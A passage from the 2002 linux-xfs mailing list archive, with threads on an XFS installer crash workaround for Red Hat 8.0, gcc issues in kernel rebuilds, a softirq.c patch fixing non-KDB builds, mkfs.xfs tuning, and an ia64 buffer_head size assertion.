(1.0.3-6) Date: 01 Nov 2002 13:10:29 -0600 Message-Id: <1036177829.4425.15.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1465 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs --=-dqcSpNjeIXZzWZWXkc6U Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Bernhard - that's a known bug... you can work around it by putting this file on an ext2-formatted floppy, and booting with the "updates" parameter. (if you can get it to do an X install, you'll be fine as well). -Eric On Fri, 2002-11-01 at 12:27, Bernhard Erdmann wrote: > Hi, > > stock RH 8.0 installs with no problems on a Dell Latitude C610 (laptop). > > SGI XFS 1.2a installer for RH 8.0 via bootnet.img on a floppy crashes > right after having selected language (english) and keyboard (german). > > The anaconda dump was saved to a floppy and is available here: > http://berdmann.dyndns.org/debug/SGI-XFS-1.2a/Dell-Latitude-C610/anacdump.txt > > The SGI installer booted off a CD crashes, too. > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 --=-dqcSpNjeIXZzWZWXkc6U Content-Disposition: attachment; filename=welcome_text.py Content-Transfer-Encoding: quoted-printable Content-Type: text/x-python; name=welcome_text.py; charset=ISO-8859-1 # # welcome_text.py: text mode welcome window # # Copyright 2001-2002 Red Hat, Inc. # # This software may be freely redistributed under the terms of the GNU # library public license. # # You should have received a copy of the GNU Library Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # from snack import * from constants_text import * from rhpl.translate import _ from constants import * import os class WelcomeWindow: def __call__(self, screen, configFileData): rc =3D ButtonChoiceWindow(screen, _("%s") % (productName,),=20 _("Welcome to %s!\n\n" "with XFS version 1.2pre1!\n\n" "please see http://oss.sgi.com/projects/xfs\n\n" "Official Red Hat 8.0 CDs are needed " "to complete this installation.\n\n" "This installer is not a product of Red Hat\n" "Please DO NOT report problems with this installer " "to Red Hat.\n\n" "Red Hat(r) is a registered trademark of Red Hat, Inc. ") % (productName), buttons =3D [TEXT_OK_BUTTON, TEXT_BACK_BUTT= ON], width =3D 50, help =3D "welcome") if rc =3D=3D TEXT_BACK_CHECK: return INSTALL_BACK return INSTALL_OK --=-dqcSpNjeIXZzWZWXkc6U-- From owner-linux-xfs@oss.sgi.com Fri Nov 1 11:35:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 11:35:57 -0800 (PST) Received: from ente.berdmann.de (frnk-d514e11f.dsl.mediaWays.net [213.20.225.31]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1JZruR005318 for ; Fri, 1 Nov 2002 11:35:54 -0800 Received: from indigo-3.berdmann.de ([192.168.5.2] helo=berdmann.de) by ente.berdmann.de with esmtp (Exim 3.35 #1) id 187hat-00033N-00; Fri, 01 Nov 2002 20:36:35 +0100 Message-ID: <3DC2D7C3.8000907@berdmann.de> Date: Fri, 01 Nov 2002 20:36:35 +0100 From: Bernhard Erdmann User-Agent: Mozilla/5.0 (X11; U; IRIX64 IP28; en-US; rv:1.1b) Gecko/20020723 X-Accept-Language: de, en, fr MIME-Version: 1.0 To: Eric Sandeen CC: linux-xfs@oss.sgi.com Subject: Re: RH 8.0 installer (1.2pre1) crashes on Dell Latitude C610 References: <3DC2C797.2070501@berdmann.de> <1036177829.4425.15.camel@stout.americas.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1466 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: be@berdmann.de Precedence: bulk X-list: linux-xfs Eric Sandeen wrote: > Hi Bernhard - that's a known bug... you can work around it by putting > this file on an ext2-formatted floppy, and booting with the "updates" > parameter. (if you can get it to do an X install, you'll be fine as > well). Hi Eric, thanks for the quick reply. I managed to use the update floppy and the RPM installation is currently running. Cheers, Bernie From owner-linux-xfs@oss.sgi.com Fri Nov 1 12:00:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 12:00:54 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1K0ouR006178 for ; Fri, 1 Nov 2002 12:00:51 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA80370; Fri, 1 Nov 2002 14:01:32 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA81633; Fri, 1 Nov 2002 14:01:31 -0600 (CST) Subject: Re: Question about kernel update From: Eric Sandeen To: Simon Matter Cc: ksimach@ksimachine.com, linux-xfs@oss.sgi.com In-Reply-To: <3DC24E71.28971B3A@ch.sauter-bc.com> References: <3DC0371E.50908@ksimachine.com> <3DC03A72.9060800@koschikode.com> <3DC05699.8010206@ksimachine.com> <1036015245.18972.23.camel@stout.america s.sgi.com> <1036015835.20833.25.camel@stout.americas.sgi.com> <3DC18C35.1030 701@ksimachine.com> <3DC18FDB.3070501@ksimachine.com> <1036098522.1604.11.camel@stout.americas.sgi.com> <3DC1A543.80606@ksimachine.com> <1036103789.1657.23.camel@stout.americas.sgi.com> <3DC23098.79045D5C@ch.sauter-bc.com> <3DC24E71.28971B3A@ch.sauter-bc.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 01 Nov 2002 13:55:35 -0600 Message-Id: <1036180536.4534.22.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1467 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs I guess that I don't know what to say about these problems... we just don't have the bandwidth to build & test RPMs for multiple platforms. In addition to vanilla kernels, we support the latest Red Hat distro for historical reasons (*cough* and because every other major distro already has XFS support *cough*), but if you're running an older version, I'm afraid it will likely be up to those outside of SGI to come up with any solution... My hints would be along the lines of making sure you're using the latest available gcc version for your release... -Eric On Fri, 2002-11-01 at 03:50, Simon Matter wrote: > Simon Matter schrieb: > > > > Eric Sandeen schrieb: > > > > > > Ok, I'm pretty confused by this. :) > > > > > > The only difference I see between the "stock" kernel spec files for > > > 17.7.x and 17.8.0 is: > > > > > > -%define release 17.7.x > > > +%define release 17.8.0 > > > > > > (i.e. no gcc differences) > > > > > > and the only differences between the 17.?.? Red Hat specfiles, and our > > > specfile, (aside from the release name) are the XFS patches. > > > > > > I see "BuildRequires: gcc >= 2.96-98" in the 17.7.x specfiles as well, > > > but I only see gcc-2.96-85 for RH 7.1, so I don't know how you're > > > supposed to rebuild it on 7.1, or why you seem to be able to. > > > > > > So I'm stumped. :) > > > > I'm just trying to rebuild the i686 kernel on RH 7.2. It is updated to > > the latest erata, which is > > gcc-2.96-108.7.2 > > and > > gcc3-3.0.4-1 > > > > I'll let you know where it dies. > > Here we go: > --------------------------------------------------------------------- > Enable gcov support (CONFIG_GCOV) [N/y/?] > * > * Library routines > * > > *** End of Linux kernel configuration. > *** Check the top-level Makefile for additional configuration. > *** Next, you must run 'make dep'. > > + make -s dep > + make -s include/linux/version.h > + echo BUILDING A KERNEL FOR uml i686... > BUILDING A KERNEL FOR uml i686... > + '[' uml = uml ']' > + make -s ARCH=um linux > sched.c: In function `sys_sched_yield': > sched.c:1374: warning: unused variable `rq' > kksymoops.c: In function `lookup_symbol': > kksymoops.c:18: warning: unused variable `sym_end' > kksymoops.c:18: warning: unused variable `sym_start' > kksymoops.c:18: warning: unused variable `sec_end' > kksymoops.c:18: warning: unused variable `sec_start' > kksymoops.c:18: warning: unused variable `mod_end' > kksymoops.c:18: warning: unused variable `mod_start' > kksymoops.c:17: warning: unused variable `sym_name' > kksymoops.c:17: warning: unused variable `sec_name' > kksymoops.c:17: warning: unused variable `mod_name' > kksymoops.c:15: warning: unused variable `bestsofar' > kksymoops.c:14: warning: unused variable `this_mod' > kksymoops.c: In function `print_modules': > kksymoops.c:70: warning: unused variable `i' > kksymoops.c:70: warning: unused variable `pos' > kksymoops.c:69: warning: unused variable `this_mod' > loop.c: In function `loop_change_fd': > loop.c:762: warning: label `out_put_all' defined but not used > xfs_mount.c: In function `xfs_initialize_perag': > xfs_mount.c:332: Unrecognizable insn: > (insn/i 164 594 597 (parallel[ > (set (reg:SI 0 eax) > (asm_operands ("") ("=a") 0[ > (reg:DI 1 edx) > ] > [ > (asm_input:DI ("A")) > ] ("linux/xfs_linux.h") 255)) > (set (reg:SI 1 edx) > (asm_operands ("") ("=d") 1[ > (reg:DI 1 edx) > ] > [ > (asm_input:DI ("A")) > ] ("linux/xfs_linux.h") 255)) > (clobber (reg:QI 19 dirflag)) > (clobber (reg:QI 18 fpsr)) > (clobber (reg:QI 17 flags)) > ] ) -1 (insn_list 163 (nil)) > (nil)) > xfs_mount.c:332: confused by earlier errors, bailing out > make[3]: *** [xfs_mount.o] Error 1 > make[2]: *** [first_rule] Error 2 > make[1]: *** [_subdir_xfs] Error 2 > make: *** [_dir_fs] Error 2 > --------------------------------------------------------------------- > > Seems to be the uml kernel. Any ideas? > > Simon > > > BTW, if someone could try the same on an up to date RedHat 7.3, it may > > build there although I don't believe because most packages are almost > > the same. > > > > Simon > > > > > > > > -Eric > > > > > > On Thu, 2002-10-31 at 15:48, Joe St.Clair wrote: > > > > Yes, when I attempt to build from the SGI SRPM it fails due to the gcc > > > > version. > > > > > > > > I have just downloaded gcc-3.1 from the RedHat site. It seems that the > > > > only dependency problem with it is that gcc3-objc-3.1-5.i386.rpm want to > > > > have gcc-objc >= 2.96-94 before it will install. I have 2.96-85. > > > > So now I am downloading the gcc from RedHat 7.2, check its dependencies, > > > > update with that and then update to 3.1. > > > > > > > > I don't know if this will break anything but as far as I know it should > > > > be ok. > > > > > > > > I won't get to check this out until tomorrow. > > > > > > > > > > > > Eric Sandeen wrote: > > > > > > > > >Joe - how does it fail? (Or is the failure the gcc version requirement > > > > >you noted?) > > > > > > > > > >-Eric > > > > > > > > > >On Thu, 2002-10-31 at 14:17, Joe St.Clair wrote: > > > > > > > > > > > > > > >>Just a bit more infomation - Not only does the build fail on my system > > > > >>for i686 but also for i386. > > > > >> > > > > >>-- > > > > >>Joseph St.Clair - KSI Machine & Engineering > > > > >> > > > > >> > > > > >> > > > > >> > > > > >> > > > > > > > > > > > > -- > > > > Joseph St.Clair - KSI Machine & Engineering > > > > > > > > > > > -- > > > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > > > sandeen@sgi.com SGI, Inc. 651-683-3102 > > -- > Simon Matter Tel: +41 61 695 57 35 > Fr.Sauter AG / CIT Fax: +41 61 695 53 30 > Im Surinam 55 > CH-4016 Basel [mailto:simon.matter@ch.sauter-bc.com] -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Nov 1 12:25:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 12:25:57 -0800 (PST) Received: from mail.tvol.net (pr-66-150-46-254.wgate.com [66.150.46.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1KPruR006875 for ; Fri, 1 Nov 2002 12:25:53 -0800 Received: from sinz.eng.tvol.net ([10.32.2.99]) by mail.tvol.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 41A6M5WG; Fri, 1 Nov 2002 15:26:49 -0500 Received: from wgate.com (localhost [127.0.0.1]) by sinz.eng.tvol.net (8.11.6/8.11.6) with ESMTP id gA1KQeM59455; Fri, 1 Nov 2002 15:26:40 -0500 (EST) (envelope-from msinz@wgate.com) Message-ID: <3DC2E380.5020506@wgate.com> Date: Fri, 01 Nov 2002 15:26:40 -0500 From: Michael Sinz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1b) Gecko/20020813 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Keith Owens CC: Linux XFS List Subject: Re: TAKE - Upgrade to kdb v2.4-2.4.19-{common,i386}-2 References: <200211010600.gA160WV23738@sherman.melbourne.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1468 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: msinz@wgate.com Precedence: bulk X-list: linux-xfs Keith Owens wrote: > Upgrade to kdb v2.4-2.4.19-{common,i386}-2 The kernel no longer compiles with KDB not configured. kernel/kernel.o: In function `do_softirq': kernel/kernel.o(.text+0x8082): undefined reference to `KDB_IS_RUNNING' You need the following patch: =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/kernel/softirq.c,v retrieving revision 1.17 diff -u -4 -w -r1.17 softirq.c --- softirq.c 2002/11/01 05:59:19 1.17 +++ softirq.c 2002/11/01 20:25:14 @@ -67,10 +67,15 @@ __u32 pending; unsigned long flags; __u32 mask; +#ifdef CONFIG_KDB if (in_interrupt() || KDB_IS_RUNNING()) return; +#else + if (in_interrupt()) + return; +#endif local_irq_save(flags); pending = softirq_pending(cpu); -- Michael Sinz -- Director, Systems Engineering -- Worldgate Communications A master's secrets are only as good as the master's ability to explain them to others. From owner-linux-xfs@oss.sgi.com Fri Nov 1 12:31:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 12:32:01 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1KVwuR007364 for ; Fri, 1 Nov 2002 12:31:58 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA94764; Fri, 1 Nov 2002 14:32:40 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA88788; Fri, 1 Nov 2002 14:32:40 -0600 (CST) Subject: Re: TAKE - Upgrade to kdb v2.4-2.4.19-{common,i386}-2 From: Eric Sandeen To: Michael Sinz Cc: Keith Owens , Linux XFS List In-Reply-To: <3DC2E380.5020506@wgate.com> References: <200211010600.gA160WV23738@sherman.melbourne.sgi.com> <3DC2E380.5020506@wgate.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 01 Nov 2002 14:26:44 -0600 Message-Id: <1036182404.4534.24.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1469 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Thanks Michael, I'll check this in. -Eric On Fri, 2002-11-01 at 14:26, Michael Sinz wrote: > Keith Owens wrote: > > Upgrade to kdb v2.4-2.4.19-{common,i386}-2 > > The kernel no longer compiles with KDB not configured. > > > kernel/kernel.o: In function `do_softirq': > kernel/kernel.o(.text+0x8082): undefined reference to `KDB_IS_RUNNING' > > You need the following patch: -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Nov 1 12:57:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 12:57:04 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1Kv0uR008264 for ; Fri, 1 Nov 2002 12:57:01 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA42146 for ; Fri, 1 Nov 2002 14:57:42 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA16077 for ; Fri, 1 Nov 2002 14:57:42 -0600 (CST) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id gA1Kpk510890; Fri, 1 Nov 2002 14:51:46 -0600 Message-Id: <200211012051.gA1Kpk510890@stout.americas.sgi.com> Date: Fri, 1 Nov 2002 14:51:46 -0600 Subject: TAKE - Fix non-kdb builds X-archive-position: 1470 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs (Keith: wasn't sure if it would be better to unconditionally include kdb.h in this file, instead....) Thanks to Michael Sinz for pointing this out. Fix non-kdb builds Date: Fri Nov 1 12:56:49 PST 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:131836a linux/kernel/softirq.c - 1.18 From owner-linux-xfs@oss.sgi.com Fri Nov 1 14:01:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 14:01:42 -0800 (PST) Received: from fry.sysctl.de (b104230.adsl.hansenet.de [62.109.104.230]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1M1cuR010191 for ; Fri, 1 Nov 2002 14:01:39 -0800 Received: from localhost.localdomain (IDENT:nfHX/1fILa80zB/XGoBYFWCkYehh2dce@localhost.localdomain [127.0.0.1]) by fry.sysctl.de (8.12.5/8.12.3) with ESMTP id gA1M2O5M009330 for ; Fri, 1 Nov 2002 23:02:25 +0100 Subject: which mkfs.xfs options do I need From: Christophe Zwecker To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 01 Nov 2002 23:02:24 +0100 Message-Id: <1036188145.8803.1.camel@fry.sysctl.de> Mime-Version: 1.0 X-archive-position: 1471 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: czwecker@sysctl.de Precedence: bulk X-list: linux-xfs Hi, I want to format a 480GB EVMS/LVM1 Partion on a Hardware RAID5. Most files will be 5-15MB big. I wonder which mkfs options if any would make sense ? or should I just stick with the defaults ? thx for your advice. best regards Chris -- Christophe Zwecker :Sysctl Susannenstr. 26-28 20357 Hamburg phon/fax: +49 40 43099296/7 mail: czwecker@sysctl.de From owner-linux-xfs@oss.sgi.com Fri Nov 1 14:50:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 14:50:17 -0800 (PST) Received: from ksimachine.com (IDENT:root@dsl093-008-058.det1.dsl.speakeasy.net [66.93.8.58]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1MoCuR014066 for ; Fri, 1 Nov 2002 14:50:12 -0800 Received: from ksimachine.com (sta16.local.ksimachine.com [192.168.250.16]) by ksimachine.com (8.11.6/8.11.6) with ESMTP id gA1MoxL17456 for ; Fri, 1 Nov 2002 17:50:59 -0500 Message-ID: <3DC30564.9020408@ksimachine.com> Date: Fri, 01 Nov 2002 17:51:16 -0500 From: "Joe St.Clair" Reply-To: ksimach@ksimachine.com Organization: KSI Machine & Engineering User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0rc3) Gecko/20020523 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: upgrading gcc Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1472 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ksimach@ksimachine.com Precedence: bulk X-list: linux-xfs Does anyone know if I upgrade "gcc" and its dependencies on a RedHat system if I am going to break anything. What I would be upgrading is... binutils from 2.10.91.0.2-3 to 2.11.90.0.8-9 gcc from 2.96-85 to 2.96-98 gcc-g77 from 2.96-85 to 2.96-98 gcc-c++ from 2.96-85 to 2.96-98 gcc-objc from 2.96-85 to 2.96-98 cpp from 2.96-85 to 2.96-98 libstdc++ from 2.96-85 to 2.96-98 libstdc++-devel from 2.96-85 to 2.96-98 rpm -Uvh --test shows no problem, but that dosen't mean something else will not understand the change. This is a RedHat 7.1 system and the upgrade RPMs are from RedHat 7.2. I am having some proglems building a new kernel with the existing "gcc" and if this upgrade would work then I should be set. As this is a compiler I would assume it is not going to crash the system. If it won't work I should be able to uninstall and reinstall the old "gcc" and dependencies. Anyone have any ideas? Thanks in advance. -- Joseph St.Clair - KSI Machine & Engineering From owner-linux-xfs@oss.sgi.com Fri Nov 1 15:12:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 15:12:11 -0800 (PST) Received: from dsl2.external.hp.com (dsl2.external.hp.com [192.25.206.7]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1NC7uR014689 for ; Fri, 1 Nov 2002 15:12:08 -0800 Received: by dsl2.external.hp.com (Postfix, from userid 1005) id 329444829; Fri, 1 Nov 2002 16:12:58 -0700 (MST) Date: Fri, 1 Nov 2002 16:12:58 -0700 To: linux-xfs@oss.sgi.com Subject: buffer_head->b_size & ia64 Message-ID: <20021101231258.GA28163@dsl2.external.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i From: dannf@dsl2.external.hp.com (Dann Frazier) X-archive-position: 1473 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dannf@dsl2.external.hp.com Precedence: bulk X-list: linux-xfs hey, I was trying to test latest cvs to see if it resolves another issue, but i began getting a panic on mount. The problem is that the latest bjorn patch for ia64 (0821) defines buffer_head->b_size as an int instead of a short. (see include/linux/fs.h). The following ASSERT is in page_buf.c: /* The b_size field of struct buffer_head is an unsigned short * ... we may need to split this request up. [64K is too big] */ ASSERT(sizeof(bh->b_size) == 2); while (sector > 0xffff) { sector >>= 1; blk_length++; } Which causes the kernel to Oops on mount. Which ia64 patch is currently merged into the XFS tree? Is there currently a hard dependency on this size somewhere? (sorry if this hits the list twice, mail routing from HP->SGI is still hosed). -- --------------------------- dann frazier Hewlett-Packard Linux Systems Division dannf@hp.com (970) 898-0800 From owner-linux-xfs@oss.sgi.com Fri Nov 1 15:16:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 15:16:28 -0800 (PST) Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1NGOuR015140 for ; Fri, 1 Nov 2002 15:16:25 -0800 Received: (qmail 20133 invoked from network); 1 Nov 2002 23:17:11 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 1 Nov 2002 23:17:11 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id DBFC3300B29; Sat, 2 Nov 2002 10:17:08 +1100 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id D8BD113B5A; Sat, 2 Nov 2002 10:17:08 +1100 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Michael Sinz Cc: Linux XFS List Subject: Re: TAKE - Upgrade to kdb v2.4-2.4.19-{common,i386}-2 In-reply-to: Your message of "Fri, 01 Nov 2002 15:26:40 CDT." <3DC2E380.5020506@wgate.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 02 Nov 2002 10:17:03 +1100 Message-ID: <32109.1036192623@ocs3.intra.ocs.com.au> X-archive-position: 1474 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 01 Nov 2002 15:26:40 -0500, Michael Sinz wrote: >Keith Owens wrote: >> Upgrade to kdb v2.4-2.4.19-{common,i386}-2 > >The kernel no longer compiles with KDB not configured. Thanks for the report, I will update to common-3. From owner-linux-xfs@oss.sgi.com Fri Nov 1 15:32:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 15:32:45 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1NWeuR015826 for ; Fri, 1 Nov 2002 15:32:40 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA18974; Fri, 1 Nov 2002 17:33:20 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA62461; Fri, 1 Nov 2002 17:33:20 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA1NWnX29812; Fri, 1 Nov 2002 17:32:49 -0600 Subject: Re: buffer_head->b_size & ia64 From: Steve Lord To: Dann Frazier Cc: linux-xfs@oss.sgi.com In-Reply-To: <20021101231258.GA28163@dsl2.external.hp.com> References: <20021101231258.GA28163@dsl2.external.hp.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 01 Nov 2002 17:32:48 -0600 Message-Id: <1036193568.17202.234.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1475 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-01 at 17:12, Dann Frazier wrote: > hey, > I was trying to test latest cvs to see if it resolves another issue, but > i began getting a panic on mount. The problem is that the latest bjorn > patch for ia64 (0821) defines buffer_head->b_size as an int instead of a short. > (see include/linux/fs.h). > > The following ASSERT is in page_buf.c: > > /* The b_size field of struct buffer_head is an unsigned short > * ... we may need to split this request up. [64K is too big] > */ > ASSERT(sizeof(bh->b_size) == 2); > while (sector > 0xffff) { > sector >>= 1; > blk_length++; > } > > Which causes the kernel to Oops on mount. Which ia64 patch is currently merged > into the XFS tree? Is there currently a hard dependency on this size > somewhere? > Hmm, looks like code to deal with 64K and larger pages doesn't it. This tree has no ia64 patch merged into it at all. The code probably needs to mutate into something like (and drop the assert): while (sector > ((1 << NBBY * sizeof(bh->b_size)) - 1)) { sector >>= 1; blk_length++; } I think that should all turn into a compile time constant. The dependency on bh_size being 2 is the 0xffff on the following line, I am not aware of any others. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Nov 1 15:58:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 15:58:50 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1NwmuR016407 for ; Fri, 1 Nov 2002 15:58:49 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id PAA06776 for ; Fri, 1 Nov 2002 15:59:36 -0800 (PST) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gA1NwZc31705; Sat, 2 Nov 2002 10:58:35 +1100 Date: Sat, 2 Nov 2002 10:58:35 +1100 From: Keith Owens Message-Id: <200211012358.gA1NwZc31705@sherman.melbourne.sgi.com> Subject: TAKE - Correct build without CONFIG_KDB X-archive-position: 1476 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Correct build without CONFIG_KDB Date: Fri Nov 1 15:57:58 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:131858a linux/kernel/softirq.c - 1.19 linux/kdb/ChangeLog - 1.23 From owner-linux-xfs@oss.sgi.com Fri Nov 1 16:18:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 16:18:39 -0800 (PST) Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206]) by oss.sgi.com 